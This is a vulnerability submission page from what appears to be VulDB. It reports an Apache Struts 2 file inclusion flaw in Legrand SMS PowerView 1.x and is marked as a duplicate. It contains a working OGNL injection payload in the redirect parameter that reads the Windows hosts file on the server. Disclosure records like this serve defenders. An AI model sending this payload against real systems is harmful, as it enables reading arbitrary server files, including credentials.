| Título | Lagrand SMS PowerView 1.x.x File Inclusion |
|---|
| Descripción | In SMS PowerView systems, it is possible to exploit a Local File Inclusion (LFI) vulnerability due to the system using Apache Struts 2. Given this, we have the following payload to demonstrate the possibility of Local File Inclusion:
Viewing the "hosts" file on Windows:
http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()}
https://x.x.x.x:8443/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()} |
|---|
| Fuente | ⚠️ http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%2 |
|---|
| Usuario | Fr1t0 (UID 82967) |
|---|
| Sumisión | 2025-04-03 21:14 (hace 2 años) |
|---|
| Moderación | 2025-04-14 14:49 (11 days later) |
|---|
| Estado | Duplicado |
|---|
| Entrada de VulDB | 302034 [Legrand SMS PowerView 1.x redirect escalada de privilegios] |
|---|
| Puntos | 0 |
|---|